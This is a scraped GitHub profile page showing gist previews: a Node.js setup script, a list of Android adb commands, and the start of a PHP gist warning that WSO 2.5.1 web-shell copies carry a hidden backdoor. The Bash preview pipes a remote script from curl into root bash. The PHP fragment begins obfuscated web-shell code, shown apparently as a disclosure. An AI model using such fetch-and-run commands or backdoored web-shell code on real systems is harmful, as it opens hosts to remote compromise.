Skip to content

Instantly share code, notes, and snippets.

View androidneha's full-sized avatar
😒
Maintaining Distance

Neha Sharma androidneha

😒
Maintaining Distance
  • New Delhi, India
View GitHub Profile
#!/usr/bin/env bash
echo "
----------------------
NODE & NPM
----------------------
"
# add nodejs 18 ppa (personal package archive) from nodesource
curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash -
@androidneha
androidneha / adb_commands.MD
Last active November 7, 2024 12:58
Some adb commands to change setting for battery optimisation, start service, stop service, grant permission, revoke permission and etc.

To list-up installed app

pm list packages

Search for a particualr app with pacakagename

pm list pacakges | grep com.abc

Turn on Battery Optimization for a particular app

adb shell dumpsys deviceidle whitelist -<package_name>

Turn off Battery Optimization for a particular app

@vaibhavpandeyvpz
vaibhavpandeyvpz / wso-backdoor.php
Created July 28, 2014 06:56
Beware! Most WSO 2.5.1 Scripts Over Internet Are Back-Doored
<?php
/**
* v2.5.1
* Hosted at: http://pastebin.com/BXmWGhMu (Line: #1037)
* Hosted at: http://snipplr.com/view/70661/ (Line: #1037)
* Hosted at: http://dl.packetstormsecurity.net/UNIX/penetration/rootkits/wso2.5.1.zip (Line: #1037)
* Hosted at: http://pastebin.com/KCtz6XA9 (Line: #1037)
*/
// Obfuscated
$x10 = "\x6dai\154";